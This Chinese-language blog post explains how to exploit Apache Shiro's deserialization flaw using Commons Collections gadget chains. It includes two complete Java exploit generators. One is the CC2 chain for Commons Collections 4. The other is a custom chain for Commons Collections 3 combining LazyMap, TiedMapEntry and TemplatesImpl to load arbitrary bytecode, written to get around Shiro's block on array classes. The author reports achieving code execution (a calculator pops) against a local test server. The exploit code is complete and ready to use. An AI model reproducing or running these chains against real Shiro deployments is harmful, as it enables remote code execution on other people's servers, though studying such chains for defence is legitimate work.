简介
上文主要分析了shiro框架存在反序列化漏洞的原理,并且用URLDNS链成功探测出此漏洞。那么如果此框架中添加了CC依赖,我们就可以拿CC链来打了。事实上在ysoserial里,只有CC2能打,因为shiro框架大多都添加Commons Collections4这个大版本。本文就主要分析针对于Commons Collections3和4两个版本shiro反序列化中CC链的利用。
打Commons Collections4.0
简单说下CC2链,执行类和CC3是一样的,利用TemplatesImpl类动态加载字节码,而CC2的反序列化入口类为PriorityQueue,看一下它的readObject函数:
队列元素也被序列化了,最后调用heapify函数,
继续跟进
comparator属性在构造器中被赋值,可控。继续跟进
最终调用可控任意类的compare方法,将comparator赋值为transformingComparator类,跟进。
调用了任意类的transform方法,这个方法很熟悉了,让transformer赋值为invokerTransformer对象来调用它的transform方法,在transform方法通过反射调用TemplatesImpl类的newTransformer方法来对恶意字节码进行类加载和初始化。至此,整条链就对接上了。由于这条链没有单独拿出来说,所以在这就简单说一下思路。CC2链的完整exp:
package com.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC2test { public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaaa"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class")); byte[][] codes = {code}; bytecodes.set(templates, codes);
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null); TransformingComparator transformingComparator =new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates);
Class cl = transformingComparator.getClass(); Field transformerField = cl.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,invokerTransformer); serialize(priorityQueue); }
public static void serialize(Object object) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("cc2.bin"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(object); System.out.println("1.序列化成功"); }
|
pom.xml添加CC4版本依赖,用cc2链子来打一下。
成功弹出计算器了。
打Commons Collections3.0
ysoserial里其他的CC链对于shiro框架的CommonsCollection3版本的依赖是打不通的,先拿CC6链尝试打一下,看看服务端报了什么错。
Transformer加载不到,在CC6中Transformer是个数组。
为什么数组类会加载不到呢?报错的地方在DefaultSerializer类的ClassResolvingObjectInputStream方法,我们跟进看一下。
原生的反序列化函数的内部实现是调用ObjectInputStream对象的readObject函数,而在本代码用了ClassResolvingObjectInputStream函数,这个函数是shiro自定义的输入流函数,跟进该函数看一下:
它重写了这个resolveClass函数,导致不能加载到数组类,具体原因是tomcat类加载的问题,与本篇文章内容关联不大,详细细节不再叙说。
既然数组类不能用,那么就用现成的CC链来拼接一条不用数组类的全新的链子。再打CC依赖的链子中,执行类有两种,第一种是Runtime命令执行,由于Runtime类未继承序列化接口,所以需要通过反射创建实例,而这种方式需要Transformer数组来迭代调用。所以只能用另一种方式,任意类加载。直接把CC3的后半段拿过来。
TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaaa"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class")); byte[][] codes = {code}; bytecodes.set(templates, codes);
|
还是需要调用TemplatesImpl类的newTransformer方法,而这个方法可以通过InvokerTransformer来调用。那么到现在为止,需要找到一个点来调用InvokerTransformer的transform方法,利用LazyMap类。
而这一部分也不再说了,是CC6的前一段,那么直接拿过来就完事了。整条连就拼接上了,CC6的前半段加上CC2的中间一小段加上CC3的后半段,所以完整EXP为:
package shiro.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class shirotest { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaaa"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null); HashMap<Object, Object> map = new HashMap<Object, Object>(); Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1)); HashMap<Object, Object> map2 = new HashMap<>(); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates); map2.put(tiedMapEntry, "bbb"); map.remove(templates); Class cl = LazyMap.class; Field fieldfactory = cl.getDeclaredField("factory"); fieldfactory.setAccessible(true); fieldfactory.set(lazymap, invokerTransformer); serialize(map2); } public static void serialize(Object object) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("wer.bin"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(object); System.out.println("1.序列化成功"); } }
|
本地开启服务打一下payload:
成功弹出计算器。
结语
反序列化之路任重而道远。